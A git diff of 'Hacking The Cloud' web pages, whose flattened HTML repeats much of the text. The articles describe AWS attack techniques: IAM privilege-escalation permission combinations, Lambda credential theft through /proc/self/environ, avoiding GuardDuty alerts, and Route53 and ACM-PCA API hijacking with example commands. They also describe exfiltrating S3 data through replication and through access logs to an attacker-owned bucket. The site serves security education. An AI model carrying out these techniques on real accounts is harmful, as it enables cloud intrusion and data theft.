      iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, ec2:CreateLaunchTemplate

      With access to the iam:PassRole, ec2:CreateLaunchTemplate, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch template and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

      iam:PassRole, cloudformation:CreateStack

      With access to the iam:PassRole and cloudformation:CreateStack permissions, an adversary can create a new CloudFormation stack and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

      iam:PassRole, codestar:CreateProject

      With access to the iam:PassRole and codestar:CreateProject permissions, an adversary can create a new CodeStar project and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role including that of an administrator.

      iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition

      With access to the iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, and datapipeline:PutPipelineDefinition permissions, an adversary can create a new pipeline and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by DataPipeline and that role must have greater privileges (or at least different ones) than the principal the adversary controls.

      iam:PassRole, ec2:RunInstances

      With access to the iam:PassRole and ec2:RunInstances permissions, an adversary can create a new EC2 instance and pass a more privileged role to it.

      This can be taken advantage of with the following one-liner:

      ec2 run-instances one-liner

      Some things to note: The instance profile must already exist, and (realistically) it must have greater permissions than the role you have access to. If you also have the ability to create a role, this can be leveraged (although you may as well set the trust policy of that role to one you control at that point). The role that is being passed must have a trust policy allowing the EC2 service to assume it. You cannot pass arbitrary roles to an EC2 instance.

      A common misconception about this attack is that an adversary must have access to an existing SSH key, or be able to spawn an SSM session. This is not actually true, you can leverage user data to perform an action on the host. One common example is to have the EC2 instance curl the metadata service, retrieve the IAM credentials, and then send them to an attacker controlled machine using curl.

      Another (stealthier) example would be to perform all your API operations at once in the user-data script. This way you are not dinged with the IAM credential exfiltration finding (which can be bypassed).

      iam:PassRole, glue:CreateDevEndpoint

      With access to the iam:PassRole and glue:CreateDevEndpoint permissions, an adversary can create a new Glue development endpoint and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls.

      iam:PassRole, glue:CreateJob

      With access to the iam:PassRole and glue:CreateJob permissions, an adversary can create a new Glue job and pass in a more privileged role. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege would allow for the job to be run.

      iam:PassRole, glue:UpdateJob

      With access to the iam:PassRole and glue:UpdateJob permissions, an adversary can update the role and command associated with a Glue job. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege or some pre-existing trigger could cause the job to run.

      iam:PassRole, lambda:AddPermission, lambda:CreateFunction

      With access to the iam:PassRole, lambda:AddPermission, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing role. This function could then by updated with lambda:AddPermission to allow another principal in another AWS account the permission to invoke it. It is worth noting that the AWS account must already contain a role that can be assumed by Lambda.

      iam:PassRole, lambda:CreateEventSourceMapping, lambda:CreateFunction

      With access to the iam:PassRole, lambda:CreateEventSourceMapping, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing privileged role and associating it with a DynamoDB table. Then, when a new record is inserted into the table, the Lambda function will trigger with the privilege of the passed in role.

      It is worth noting that the AWS account must already contain a role that can be assumed by Lambda. Additionally, while not required, it may be beneficial to have the dynamodb:CreateTable and dynamodb:PutItem permissions to trigger this yourself.

      iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction

      With access to the iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction permissions, an adversary can create a new Lambda function and pass an existing role to it. They can then invoke the function allowing them access to the privileges of the role associated with the function. It is worth noting that unless the adversary can create a role, they must use an already existing role that can be assumed by Lambda.

      iam:PutGroupPolicy

      With access to the iam:PutGroupPolicy permission, an adversary can create an inline policy for a group they are in and give themselves administrator access to the AWS account.

      iam:PutRolePermissionsBoundary

      With access to the iam:PutRolePermissionsBoundary permission, an adversary can update a permissions boundary attached to a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

      iam:PutRolePolicy

      With access to the iam:PutRolePolicy permission, an adversary can create an inline policy for a role they have access to and give themselves administrator access to the AWS account.

      iam:PutUserPermissionsBoundary

      With access to the iam:PutUserPermissionsBoundary permission, an adversary can update a permissions boundary attached to a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

      iam:PutUserPolicy

      With access to the iam:PutUserPolicy permission, an adversary can create an inline policy for a user they have access to and give themselves administrator access to the AWS account.

      iam:SetDefaultPolicyVersion

      With access to the iam:SetDefaultPolicyVersion permission, an adversary can revert a policy associated with their principal to a previous version. This is useful for scenarios in which a previous version of a policy had more access than the current version.

      iam:UpdateAssumeRolePolicy

      With access to the iam:UpdateAssumeRolePolicy permission, an adversary can modify the assume-role policy of a role, allowing them to assume it. This is useful to gain access to administrator roles, or other more privileged roles.

      iam:UpdateLoginProfile

      With access to the iam:UpdateLoginProfile permission, an adversary can change the password of an IAM user. This would allow them to log into the console as that user.

      lambda:UpdateFunctionCode

      With access to the lambda:UpdateFunctionCode permission, an adversary can modify an existing Lambda function's code. This would allow them to gain access to the privileges of the associated IAM role the next time the function is executed.

      lambda:UpdateFunctionConfiguration

      With access to the lambda:UpdateFunctionConfiguration permission, an adversary can modify an existing Lambda function's configuration to add a new Lambda Layer. This Layer would then override an existing library and allow an adversary to execute malicious code under the privilege of the role associated with the Lambda function.

      Article by Nick Frichette

      AWS IAM Privilege Escalation Techniques

      Note

      If you'd like to get hands on experience exploiting these misconfigurations, check out iam-vulnerable by Seth Art.

      codestar:CreateProject, codestar:AssociateTeamMember

      With access to the codestar:CreateProject and codestar:AssociateTeamMember permissions, an adversary can create a new CodeStar project and associate themselves as an Owner of the project.

      This will attach a new policy to the user that provides access to a number of permissions for AWS services. This is most useful for further enumeration as it gives access to lambda:List*, iam:ListRoles, iam:ListUsers, and more.

      Using codestar:AssociateTeamMember

      Showing the CodeStar policy

      glue:UpdateDevEndpoint

      With access to the glue:UpdateDevEndpoint permission, an adversary can update the existing SSH key associated with the glue endpoint. This will allow the adversary to SSH into the host and gain access to IAM credentials associated with the role attached to the glue endpoint. Though not required, it may be helpful to have the glue:GetDevEndpoint permission as well, if the existing endpoint cannot be identified via other means.

      iam:AddUserToGroup

      With access to the iam:AddUserToGroup permission, an adversary can add an IAM user they control to an existing group with more privileges. Although this is not required, it may be helpful to have other permissions in the IAM family to identify other groups and their privileges.

      iam:AttachGroupPolicy

      With access to the iam:AttachGroupPolicy permission, an adversary can attach an IAM policy to a group they are a member of. This potentially includes policies such as AdministratorAccess, which would provide them (surprise) administrator access to the AWS account.

      iam:AttachRolePolicy

      With access to the iam:AttachRolePolicy permission, an adversary can attach an IAM policy to a role they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.

      iam:AttachUserPolicy

      With access to the iam:AttachUserPolicy permission, an adversary can attach an IAM policy to an IAM user they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.

      iam:CreateAccessKey

      With access to the iam:CreateAccessKey permission, an adversary can create an IAM Access Key and Secret Access Key for other users. This would allow them to create credentials for more privileged users and have access to their privileges.

      Showing iam:CreateAccessKey

      iam:CreateLoginProfile

      With access to the iam:CreateLoginProfile permission, an adversary can create a password for a more privileged IAM user to login to the console as. Note: if a password is already set, you must use iam:UpdateLoginProfile instead.

      iam:CreatePolicyVersion

      With access to the iam:CreatePolicyVersion permission, an adversary can create a new version of a existing policy with more privilege. If the adversary has access to the principal that policy is attached to, they can elevate their privileges.

      iam:DeleteRolePermissionsBoundary

      With access to the iam:DeleteRolePermissionsBoundary permission, an adversary can remove a permissions boundary from a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

      iam:DeleteRolePolicy

      With access to the iam:DeleteRolePolicy permission, an adversary can delete an inline policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.

      iam:DeleteUserPermissionsBoundary

      With access to the iam:DeleteUserPermissionsBoundary permission, an adversary can remove a permissions boundary from a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

      iam:DeleteUserPolicy

      With access to the iam:DeleteUserPolicy permission, an adversary can delete an inline policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.

      iam:DetachRolePolicy

      With access to the iam:DetachRolePolicy permission, an adversary can remove a managed policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.

      iam:DetachUserPolicy

      With access to the iam:DetachUserPolicy permission, an adversary can remove a managed policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.

      iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, autoscaling:CreateLaunchConfiguration,

      With access to the iam:PassRole, autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch configuration and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

      iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, ec2:CreateLaunchTemplate

      With access to the iam:PassRole, ec2:CreateLaunchTemplate, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch template and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

      iam:PassRole, cloudformation:CreateStack

      With access to the iam:PassRole and cloudformation:CreateStack permissions, an adversary can create a new CloudFormation stack and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

      iam:PassRole, codestar:CreateProject

      With access to the iam:PassRole and codestar:CreateProject permissions, an adversary can create a new CodeStar project and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role including that of an administrator.

      iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition

      With access to the iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, and datapipeline:PutPipelineDefinition permissions, an adversary can create a new pipeline and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by DataPipeline and that role must have greater privileges (or at least different ones) than the principal the adversary controls.

      iam:PassRole, ec2:RunInstances

      With access to the iam:PassRole and ec2:RunInstances permissions, an adversary can create a new EC2 instance and pass a more privileged role to it.

      This can be taken advantage of with the following one-liner:

      ec2 run-instances one-liner

      Some things to note: The instance profile must already exist, and (realistically) it must have greater permissions than the role you have access to. If you also have the ability to create a role, this can be leveraged (although you may as well set the trust policy of that role to one you control at that point). The role that is being passed must have a trust policy allowing the EC2 service to assume it. You cannot pass arbitrary roles to an EC2 instance.

      A common misconception about this attack is that an adversary must have access to an existing SSH key, or be able to spawn an SSM session. This is not actually true, you can leverage user data to perform an action on the host. One common example is to have the EC2 instance curl the metadata service, retrieve the IAM credentials, and then send them to an attacker controlled machine using curl.

      Another (stealthier) example would be to perform all your API operations at once in the user-data script. This way you are not dinged with the IAM credential exfiltration finding (which can be bypassed).

      iam:PassRole, glue:CreateDevEndpoint

      With access to the iam:PassRole and glue:CreateDevEndpoint permissions, an adversary can create a new Glue development endpoint and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls.

      iam:PassRole, glue:CreateJob

      With access to the iam:PassRole and glue:CreateJob permissions, an adversary can create a new Glue job and pass in a more privileged role. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege would allow for the job to be run.

      iam:PassRole, glue:UpdateJob

      With access to the iam:PassRole and glue:UpdateJob permissions, an adversary can update the role and command associated with a Glue job. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege or some pre-existing trigger could cause the job to run.

      iam:PassRole, lambda:AddPermission, lambda:CreateFunction

      With access to the iam:PassRole, lambda:AddPermission, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing role. This function could then by updated with lambda:AddPermission to allow another principal in another AWS account the permission to invoke it. It is worth noting that the AWS account must already contain a role that can be assumed by Lambda.

      iam:PassRole, lambda:CreateEventSourceMapping, lambda:CreateFunction

      With access to the iam:PassRole, lambda:CreateEventSourceMapping, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing privileged role and associating it with a DynamoDB table. Then, when a new record is inserted into the table, the Lambda function will trigger with the privilege of the passed in role.

      It is worth noting that the AWS account must already contain a role that can be assumed by Lambda. Additionally, while not required, it may be beneficial to have the dynamodb:CreateTable and dynamodb:PutItem permissions to trigger this yourself.

      iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction

      With access to the iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction permissions, an adversary can create a new Lambda function and pass an existing role to it. They can then invoke the function allowing them access to the privileges of the role associated with the function. It is worth noting that unless the adversary can create a role, they must use an already existing role that can be assumed by Lambda.

      iam:PutGroupPolicy

      With access to the iam:PutGroupPolicy permission, an adversary can create an inline policy for a group they are in and give themselves administrator access to the AWS account.

      iam:PutRolePermissionsBoundary

      With access to the iam:PutRolePermissionsBoundary permission, an adversary can update a permissions boundary attached to a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

      iam:PutRolePolicy

      With access to the iam:PutRolePolicy permission, an adversary can create an inline policy for a role they have access to and give themselves administrator access to the AWS account.

      iam:PutUserPermissionsBoundary

      With access to the iam:PutUserPermissionsBoundary permission, an adversary can update a permissions boundary attached to a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

      iam:PutUserPolicy

      With access to the iam:PutUserPolicy permission, an adversary can create an inline policy for a user they have access to and give themselves administrator access to the AWS account.

      iam:SetDefaultPolicyVersion

      With access to the iam:SetDefaultPolicyVersion permission, an adversary can revert a policy associated with their principal to a previous version. This is useful for scenarios in which a previous version of a policy had more access than the current version.

      iam:UpdateAssumeRolePolicy

      With access to the iam:UpdateAssumeRolePolicy permission, an adversary can modify the assume-role policy of a role, allowing them to assume it. This is useful to gain access to administrator roles, or other more privileged roles.

      iam:UpdateLoginProfile

      With access to the iam:UpdateLoginProfile permission, an adversary can change the password of an IAM user. This would allow them to log into the console as that user.

      lambda:UpdateFunctionCode

      With access to the lambda:UpdateFunctionCode permission, an adversary can modify an existing Lambda function's code. This would allow them to gain access to the privileges of the associated IAM role the next time the function is executed.

      lambda:UpdateFunctionConfiguration

      With access to the lambda:UpdateFunctionConfiguration permission, an adversary can modify an existing Lambda function's configuration to add a new Lambda Layer. This Layer would then override an existing library and allow an adversary to execute malicious code under the privilege of the role associated with the Lambda function.

      \ No newline at end of file diff --git a/aws/exploitation/lambda-steal-iam-credentials/index.html b/aws/exploitation/lambda-steal-iam-credentials/index.html index f0a9363b2..0a0ae115d 100644 --- a/aws/exploitation/lambda-steal-iam-credentials/index.html +++ b/aws/exploitation/lambda-steal-iam-credentials/index.html @@ -1,4 +1,4 @@ - Steal IAM Credentials and Event Data from Lambda - Hacking The Cloud

      Article by Nick Frichette

      Steal IAM Credentials and Event Data from Lambda

      In Lambda, IAM credentials are passed into the function via environment variables. The benefit for the adversary is that these credentials can be leaked via file read vulnerabilities such as XML External Entity attacks or SSRF that allows the file protocol. This is because "everything is a file".

      IAM credentials can be accessed via reading /proc/self/environ.

      Credentials

      Note

      In the event that /proc/self/environ is blocked by a WAF, check if you can read the environment variables of other processes. This can be done by reading /proc/#/environ where '#' is some number often between 1 and 20.

      In addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the runtime interface. Unlike IAM credentials, this data is accessible over standard SSRF at http://169.254.100.1:9001/2018-06-01/runtime/invocation/next. Additionally the environment variable AWS_LAMBDA_RUNTIME_API stores the IP address and port of the runtime interface as well.

      This will include information about what invoked the Lambda function and may be valuable depending on the context.

      Note

      Unlike IAM credentials associated with EC2 instances, there is no GuardDuty alert for stolen Lambda credentials.

      Article by Nick Frichette

      Steal IAM Credentials and Event Data from Lambda

      In Lambda, IAM credentials are passed into the function via environment variables. The benefit for the adversary is that these credentials can be leaked via file read vulnerabilities such as XML External Entity attacks or SSRF that allows the file protocol. This is because "everything is a file".

      IAM credentials can be accessed via reading /proc/self/environ.

      Credentials

      Note

      In the event that /proc/self/environ is blocked by a WAF, check if you can read the environment variables of other processes. This can be done by reading /proc/#/environ where '#' is some number often between 1 and 20.

      In addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the runtime interface. Unlike IAM credentials, this data is accessible over standard SSRF at http://169.254.100.1:9001/2018-06-01/runtime/invocation/next. Additionally the environment variable AWS_LAMBDA_RUNTIME_API stores the IP address and port of the runtime interface as well.

      This will include information about what invoked the Lambda function and may be valuable depending on the context.

      Note

      Unlike IAM credentials associated with EC2 instances, there is no GuardDuty alert for stolen Lambda credentials.

      \ No newline at end of file diff --git a/aws/exploitation/local_ec2_priv_esc_through_user_data/index.html b/aws/exploitation/local_ec2_priv_esc_through_user_data/index.html index 7c650d16a..77356f621 100644 --- a/aws/exploitation/local_ec2_priv_esc_through_user_data/index.html +++ b/aws/exploitation/local_ec2_priv_esc_through_user_data/index.html @@ -1,4 +1,4 @@ - EC2 Privilege Escalation Through User Data - Hacking The Cloud

      Article by Nick Frichette

      EC2 Privilege Escalation Through User Data

      If you've gained a foothold on an EC2 instance, use these these techniques to escalate privileges to root/System on the host.

      ec2:ModifyInstanceAttribute

      If an adversary has access to the modify-instance attribute permission they can leverage it to escalate to root/System on an EC2 instance.

      Usually, user data scripts are only run the first time the instance is started, however this can be changed using cloud-init to run every time the instance restarts.

      To do this, first create a file in the following format.

      Content-Type: multipart/mixed; boundary="//"
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      EC2 Privilege Escalation Through User Data

      If you've gained a foothold on an EC2 instance, use these these techniques to escalate privileges to root/System on the host.

      ec2:ModifyInstanceAttribute

      If an adversary has access to the modify-instance attribute permission they can leverage it to escalate to root/System on an EC2 instance.

      Usually, user data scripts are only run the first time the instance is started, however this can be changed using cloud-init to run every time the instance restarts.

      To do this, first create a file in the following format.

      Content-Type: multipart/mixed; boundary="//"
       MIME-Version: 1.0
       
       --//
      diff --git a/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/index.html b/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/index.html
      index e7c4a0d2e..feccde4c8 100644
      --- a/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/index.html
      +++ b/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/index.html
      @@ -1,4 +1,4 @@
      - DNS and CloudFront Domain Takeover via Deleted S3 Buckets - Hacking The Cloud         

      Article by Houston Hopkins

      DNS and CloudFront Domain Takeover via Deleted S3 Buckets

      Utilizing various techniques for recon and enumeration, an attacker can discover orphaned Cloudfront distributions or DNS Records that are attempting to serve content from an S3 bucket that no longer exists. If an adversary finds one of these, they can create an S3 bucket in their own account and use it to serve malicious content. This content would then be distributed by the victim, and appear to be legitimate by an outside observer.

      Note

      Previously, calls to a CloudFront distribution backed by an S3 bucket that was deleted would result in a NoSuchBucket error. For example:

      <Error>
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Houston Hopkins

      DNS and CloudFront Domain Takeover via Deleted S3 Buckets

      Utilizing various techniques for recon and enumeration, an attacker can discover orphaned Cloudfront distributions or DNS Records that are attempting to serve content from an S3 bucket that no longer exists. If an adversary finds one of these, they can create an S3 bucket in their own account and use it to serve malicious content. This content would then be distributed by the victim, and appear to be legitimate by an outside observer.

      Note

      Previously, calls to a CloudFront distribution backed by an S3 bucket that was deleted would result in a NoSuchBucket error. For example:

      <Error>
       <Code>NoSuchBucket</Code>
       <Message>The specified bucket does not exist</Message>
       <BucketName>hackingthe.cloud</BucketName>
      diff --git a/aws/exploitation/route53_modification_privilege_escalation/index.html b/aws/exploitation/route53_modification_privilege_escalation/index.html
      index 3355583aa..a2d7ffdf0 100644
      --- a/aws/exploitation/route53_modification_privilege_escalation/index.html
      +++ b/aws/exploitation/route53_modification_privilege_escalation/index.html
      @@ -1,4 +1,4 @@
      - AWS API Call Hijacking via ACM-PCA - Hacking The Cloud         

      Article by Patryk Bogusz

      AWS API Call Hijacking via ACM-PCA

      Note

      To perform this attack the target account must already have an AWS Certificate Manager Private Certificate Authority (AWS-PCA) setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic.

      Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. If ACM-PCA is used for that and the adversary manages to get access to control both route53 and acm-pca private CA with the minimum set of permissions described above, it can hijack the application calls to AWS API taking over their IAM permissions.

      This is possible because:

      • AWS SDKs do not have Certificate Pinning
      • Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names
      • Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names

      For example, Secrets Manager in us-east-1 could be re-routed by an adversary setting the secretsmanager.us-east-1.amazonaws.com domain to an IP controlled by the adversary. The following creates the private hosted zone for secretsmanager.us-east-1.amazonaws.com:

      aws route53 create-hosted-zone --name secretsmanager.us-east-1.amazonaws.com --caller-reference sm4 --hosted-zone-config PrivateZone=true --vpc VPCRegion=us-east-1,VPCId=<VPCId>
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Patryk Bogusz

      AWS API Call Hijacking via ACM-PCA

      Note

      To perform this attack the target account must already have an AWS Certificate Manager Private Certificate Authority (AWS-PCA) setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic.

      Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. If ACM-PCA is used for that and the adversary manages to get access to control both route53 and acm-pca private CA with the minimum set of permissions described above, it can hijack the application calls to AWS API taking over their IAM permissions.

      This is possible because:

      • AWS SDKs do not have Certificate Pinning
      • Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names
      • Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names

      For example, Secrets Manager in us-east-1 could be re-routed by an adversary setting the secretsmanager.us-east-1.amazonaws.com domain to an IP controlled by the adversary. The following creates the private hosted zone for secretsmanager.us-east-1.amazonaws.com:

      aws route53 create-hosted-zone --name secretsmanager.us-east-1.amazonaws.com --caller-reference sm4 --hosted-zone-config PrivateZone=true --vpc VPCRegion=us-east-1,VPCId=<VPCId>
       

      Then set the A record for secretsmanager.us-east-1.amazonaws.com in this private hosted zone. Use the following POST body payload - mitm.json:

      {
         "Comment": "<anything>",
         "Changes": [{
      diff --git a/aws/exploitation/s3-bucket-replication-exfiltration/index.html b/aws/exploitation/s3-bucket-replication-exfiltration/index.html
      index aac16ed98..fbb2e323b 100644
      --- a/aws/exploitation/s3-bucket-replication-exfiltration/index.html
      +++ b/aws/exploitation/s3-bucket-replication-exfiltration/index.html
      @@ -1,4 +1,4 @@
      - Exfiltrating S3 Data with Bucket Replication Policies - Hacking The Cloud         

      Article by Ben Leembruggen

      Exfiltrating S3 Data with Bucket Replication Policies

      Introduction

      S3 data replication provides the ability to copy objects to another bucket, which can be useful from an enterprise logging, integration or security perspective. This can be configure between buckets in the same account, or an unrelated account. Where this feature could be abused is where a malicious actor could input a replication policy to copy objects to an attacker controlled bucket. Objects will continue to be replicated for as long as the policy in place, applying to all future objects placed into the bucket. Using S3 batch operations, attackers can also replicate objects already in the bucket, making it a convenient method for extracting all current and future objects uploaded to the impacted bucket.


      Required Configurations and Permissions

      Pre-requisites

      For bucket replication to be enabled, the following pre-requisites need to be in place:

      • The source bucket owner must have the source and destination AWS Regions enabled for their account. For the destination account, just the destination region needs to be enabled.
      • Both source and destination buckets must have versioning enabled.
      • If the source bucket has S3 Object Lock enabled, the destination buckets must also have S3 Object Lock enabled.

      IAM Role

      Minimum Required IAM Permissions - Source Account

      • iam:CreateRole (creating a new role)
      • iam:CreatePolicy & iam:AttachRolePolicy (creating a new policy) or iam:PutRolePolicy (modifying an existing policy)
      • iam:UpdateAssumeRolePolicy

      Like most things in AWS, the replication service requires a user supplied role to carry out the replication on your behalf. To replicate all data (including existing objects), an example trust policy and permission set would look something like:

      Trust Policy

      {
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Ben Leembruggen

      Exfiltrating S3 Data with Bucket Replication Policies

      Introduction

      S3 data replication provides the ability to copy objects to another bucket, which can be useful from an enterprise logging, integration or security perspective. This can be configure between buckets in the same account, or an unrelated account. Where this feature could be abused is where a malicious actor could input a replication policy to copy objects to an attacker controlled bucket. Objects will continue to be replicated for as long as the policy in place, applying to all future objects placed into the bucket. Using S3 batch operations, attackers can also replicate objects already in the bucket, making it a convenient method for extracting all current and future objects uploaded to the impacted bucket.


      Required Configurations and Permissions

      Pre-requisites

      For bucket replication to be enabled, the following pre-requisites need to be in place:

      • The source bucket owner must have the source and destination AWS Regions enabled for their account. For the destination account, just the destination region needs to be enabled.
      • Both source and destination buckets must have versioning enabled.
      • If the source bucket has S3 Object Lock enabled, the destination buckets must also have S3 Object Lock enabled.

      IAM Role

      Minimum Required IAM Permissions - Source Account

      • iam:CreateRole (creating a new role)
      • iam:CreatePolicy & iam:AttachRolePolicy (creating a new policy) or iam:PutRolePolicy (modifying an existing policy)
      • iam:UpdateAssumeRolePolicy

      Like most things in AWS, the replication service requires a user supplied role to carry out the replication on your behalf. To replicate all data (including existing objects), an example trust policy and permission set would look something like:

      Trust Policy

      {
           "Version": "2012-10-17",
           "Statement": [
               {
      diff --git a/aws/exploitation/s3_server_access_logs/index.html b/aws/exploitation/s3_server_access_logs/index.html
      index b3d60041b..f6e28520d 100644
      --- a/aws/exploitation/s3_server_access_logs/index.html
      +++ b/aws/exploitation/s3_server_access_logs/index.html
      @@ -1,4 +1,4 @@
      - Data Exfiltration through S3 Server Access Logs - Hacking The Cloud         

      Article by Costas Kourmpoglou

      Data Exfiltration through S3 Server Access Logs

      If we have control over an IAM identity that allows s3:GetObject, depending on the network access to the S3 service, we can use S3 server access logs to a bucket we control, and use it to exfiltrate data.

      With server access logging, every request to our S3 bucket will be logged to a separate logging bucket. This includes internal AWS requests, or requests made via the AWS console. Even if a request is denied, the payload that the request is carrying, will be sent to our logging bucket. We can then send GetObject requests to s3 buckets, that we don't have access to, but because we control the server access logs, we will still receive the data that we want to exfiltrate in the first place.

      How

      We'll create an S3 bucket, AttackerBucket in our account with server access logging. Let's name the logging bucket AttackerBucketLogs. With our data in hand ExampleDataToExfiltrate, we will send a GetObject request to our bucket, for example:

      aws s3api get-object --bucket AttackerBucket --key ExampleDataToExfiltrate

      The request will be denied. However the attempt along with the other details, including our key ExampleDatatoExfiltrate - which is the data we're exfiltrating - will arrive to our logging bucket AttackerBucketLogs.

      We'll receive the data in the default logging format:

      [..] attackerbucket […] 8.8.8.8 – […] REST.GET.OBJECT ExampleDataToExfiltrate "GET / ExampleDataToExfiltrate HTTP/1.1" 403 AccessDenied 243 - 18 - "-" "UserAgentAlsoHasData " – […]
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Costas Kourmpoglou

      Data Exfiltration through S3 Server Access Logs

      If we have control over an IAM identity that allows s3:GetObject, depending on the network access to the S3 service, we can use S3 server access logs to a bucket we control, and use it to exfiltrate data.

      With server access logging, every request to our S3 bucket will be logged to a separate logging bucket. This includes internal AWS requests, or requests made via the AWS console. Even if a request is denied, the payload that the request is carrying, will be sent to our logging bucket. We can then send GetObject requests to s3 buckets, that we don't have access to, but because we control the server access logs, we will still receive the data that we want to exfiltrate in the first place.

      How

      We'll create an S3 bucket, AttackerBucket in our account with server access logging. Let's name the logging bucket AttackerBucketLogs. With our data in hand ExampleDataToExfiltrate, we will send a GetObject request to our bucket, for example:

      aws s3api get-object --bucket AttackerBucket --key ExampleDataToExfiltrate

      The request will be denied. However the attempt along with the other details, including our key ExampleDatatoExfiltrate - which is the data we're exfiltrating - will arrive to our logging bucket AttackerBucketLogs.

      We'll receive the data in the default logging format:

      [..] attackerbucket […] 8.8.8.8 – […] REST.GET.OBJECT ExampleDataToExfiltrate "GET / ExampleDataToExfiltrate HTTP/1.1" 403 AccessDenied 243 - 18 - "-" "UserAgentAlsoHasData " – […]
       

      We're exfiltrating data, using the Key parameter of the request. There's a hard limit of 1024 bytes per Key, but other request fields can be used like User-Agent.

      Challenges

      There are two challenges with this method:

      1. If the network access to the S3 service takes place over a VPC endpoint, then the policy of the VPC endpoint would need to allow access to our bucket. The VPC endpoint will drop the request and will not forward it to the S3 service, if the policy doesn't allow it. The S3 service won't be able to generate logs, and we won't be able to exfiltrate data.

      2. The logs are not guaranteed to arrive in order. If you're splitting data across multiple requests, you'll need to figure out a mechanism to re-order the data correctly.

      For the general usecase where network access to the S3 service takes place over the internet, there is a 10-120 minute delay, in the log delivery.

